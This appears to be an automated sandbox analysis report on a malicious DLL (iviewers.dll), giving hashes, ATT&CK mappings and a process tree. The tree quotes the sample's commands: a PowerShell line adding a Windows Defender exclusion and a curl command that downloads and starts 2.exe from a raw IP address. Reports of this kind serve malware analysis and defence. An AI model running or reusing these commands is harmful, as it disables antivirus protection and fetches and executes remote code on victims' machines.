86c5fbaec4886b844cbcf2376968430ecbd7a9b51dcf09fc9fe954b49fe6fe53

Resubmissions

07/03/2025, 03:43

250307-ead1pas1d1 10

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
07/03/2025, 03:43

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General

Target

iviewers.dll
Size

83KB
MD5

5d57d199c4418e0cd2305dbe761ec9ae
SHA1

9dfdaf2c9f92c1d6bf3ac1d65d0fbca32e2f0359
SHA256

be71bb6d00d2759b6e925249307d08f900ddfc48744b6b3a1cac2e6100724c37
SHA512

8817eea5118074e95d9e2d3ac5a4216959122d3379add8d250c29e1e18403d9c5e95f8d5f687db8995183cfb6418e696553ca0ad3f4e7ab363cf341b7e3e239b
SSDEEP

1536:vbo5eK+wzZQ1LRC7ivPv8ZqTfXeqvz+NBGQS18sWpcdVQPLHWeDCf7/P/:vs5tXVQLRC7iv4qTvcGQS1VQPjWeDCfb

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2536	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2536	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2536	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 2472	2080	regsvr32.exe	31
PID 2080 wrote to memory of 2472	2080	regsvr32.exe	31
PID 2080 wrote to memory of 2472	2080	regsvr32.exe	31
PID 2080 wrote to memory of 2472	2080	regsvr32.exe	31
PID 2080 wrote to memory of 2472	2080	regsvr32.exe	31
PID 2080 wrote to memory of 2472	2080	regsvr32.exe	31
PID 2080 wrote to memory of 2472	2080	regsvr32.exe	31
PID 2472 wrote to memory of 2500	2472	regsvr32.exe	32
PID 2472 wrote to memory of 2500	2472	regsvr32.exe	32
PID 2472 wrote to memory of 2500	2472	regsvr32.exe	32
PID 2472 wrote to memory of 2500	2472	regsvr32.exe	32
PID 2500 wrote to memory of 2536	2500	cmd.exe	34
PID 2500 wrote to memory of 2536	2500	cmd.exe	34
PID 2500 wrote to memory of 2536	2500	cmd.exe	34
PID 2500 wrote to memory of 2536	2500	cmd.exe	34
PID 2472 wrote to memory of 2700	2472	regsvr32.exe	35
PID 2472 wrote to memory of 2700	2472	regsvr32.exe	35
PID 2472 wrote to memory of 2700	2472	regsvr32.exe	35
PID 2472 wrote to memory of 2700	2472	regsvr32.exe	35

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\2.exe'"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2500
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\2.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2536
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 2.exe http://147.45.44.170/2.exe & start 2.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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